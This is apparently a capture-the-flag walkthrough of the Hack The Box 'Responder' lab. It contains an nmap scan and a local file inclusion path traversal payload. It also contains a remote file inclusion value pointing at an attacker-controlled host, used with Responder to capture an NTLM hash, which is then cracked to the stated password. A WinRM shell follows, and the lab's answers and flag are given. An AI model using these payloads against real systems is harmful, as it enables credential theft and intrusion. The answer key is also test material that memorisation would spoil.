Responder
Initial Scan
sudo nmap -p- --min-rate 5000 -sV -v 10.129.169.214
Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-08 06:28 EDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 06:28
Scanning 10.129.169.214 [4 ports]
Completed Ping Scan at 06:28, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 06:28
Scanning unika.htb (10.129.169.214) [65535 ports]
Discovered open port 80/tcp on 10.129.169.214
Discovered open port 7680/tcp on 10.129.169.214
Discovered open port 5985/tcp on 10.129.169.214
Completed SYN Stealth Scan at 06:28, 27.06s elapsed (65535 total ports)
Initiating Service scan at 06:28
Scanning 3 services on unika.htb (10.129.169.214)
Completed Service scan at 06:29, 45.92s elapsed (3 services on 1 host)
NSE: Script scanning 10.129.169.214.
Initiating NSE at 06:29
Completed NSE at 06:29, 0.73s elapsed
Initiating NSE at 06:29
Completed NSE at 06:29, 0.47s elapsed
Nmap scan report for unika.htb (10.129.169.214)
Host is up (0.14s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp open pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.69 seconds
Raw packets sent: 131089 (5.768MB) | Rcvd: 18 (776B)Task 1
When visiting the web service using the IP address, what is the domain that we are being redirected to?
Found by going to the IP and looking at the URL.
Answer: unika.htb
Task 2
Which scripting language is being used on the server to generate webpages?
Had to add the IP to the website name in my hosts file.
Found by: browsing the site and changing the language on the site to French or German
We see the URL is http://unika.htb/index.php?page=german.html, showing this is written in PHP.
Answer: PHP
Task 3
What is the name of the URL parameter which is used to load different language versions of the webpage?
Again, looking at the URL, we can see the query as page=
Answer: Page
Task 4
Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
Found by the answer being as long as that value, but as well as googling 'exploiting PHP LFI' will give us various articles with this explaining how, and other examples.
Answer: ../../../../../../../../windows/system32/drivers/etc/hosts
Task 5
Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
Again, found by the answer being as long as the value, but also googling 'Exploiting php RFI' gives more articles and explaining how, and other exampls.
Answer: //10.10.14.6/somefile
Task 6
What does NTLM stand for?
Found by Google
Answer: New Technology LAN Manager
Task 7
Which flag do we use in the Responder utility to specify the network interface?
After simply running ./responder.py, we are given:
Answer: -I
Task 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?
Found by general knowledge on popular password cracking tools.
Answer: John The Ripper
Task 9
What is the password for the administrator user?
First we run responder to capture the hash.
After going to the URL: http://unika.htb/?page=//10.10.14.38/randomfile we can look back at responder and see the hash.
Putting the hash in a file were going to crack it with John the ripper
Answer: badminton
Task 10
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
Found within the initial scan
Answer: 5985
Task 11
Submit root flag
This part I did have to look around online as I was unable to get evil-winrm to work for me. but also could be having to restart the victim box and/or the VPN connection. But it SHOULD be:
Using Evil-WinRM, we will get a shell into the machine and find the file under the users desktop.
or using metasploit, we can use exploit(windows/winrm/winrm_script_exec and set the options for our machine, the target machine, the username and password
Once we get our shell on the machine, we can find the flag under C:\Users\mike\Desktop\flag.txt.
Answer: ea81b7afddd03efaa0945333ed147fac
Last updated